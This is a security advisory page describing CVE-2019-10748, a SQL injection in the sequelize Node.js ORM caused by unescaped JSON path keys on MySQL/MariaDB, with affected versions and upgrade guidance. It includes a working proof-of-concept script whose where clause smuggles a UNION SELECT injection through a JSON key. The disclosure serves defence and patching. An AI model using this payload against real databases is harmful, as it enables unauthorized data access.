SQL Injection Affecting sequelize package, versions >=3.0.0 <3.35.1 >=4.0.0 <4.44.3 >=5.0.0-0 <5.8.11
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.19% (56th
percentile)
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Test your applications- Snyk ID SNYK-JS-SEQUELIZE-450221
- published 21 Jun 2019
- disclosed 20 Jun 2019
- credit Snyk Security Team
Introduced: 20 Jun 2019
CVE-2019-10748 Open this link in a new tabHow to fix?
Upgrade sequelize to version 3.35.1, 4.44.3, 5.8.11 or higher.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to SQL Injection due to JSON path keys not being properly escaped for the MySQL/MariaDB dialects.
PoC by Snyk
const Sequelize = require('sequelize');
const sequelize = new Sequelize('mysql', 'root', 'root', {
host: 'localhost',
port: '3306',
dialect: 'mariadb',
});
class Project extends Sequelize.Model {}
Project.init({
name: Sequelize.STRING,
target: Sequelize.JSON,
}, {
sequelize,
tableName: 'projects',
});
(async () => {
await sequelize.sync();
console.log(await Project.findAll({
where: {target: {"a')) AS DECIMAL) = 1 UNION SELECT VERSION(); -- ": 1}},
attributes: ['name'],
raw: true,
}));
})();
// https://github.com/sequelize/sequelize/blob/master/lib/dialects/abstract/query-generator.js#L1059-L1061
// case 'mariadb':
// pathStr = ['$'].concat(paths).join('.');
// return `json_unquote(json_extract(${quotedColumn},'${pathStr}'))`;
References
CVSS Scores
version 3.1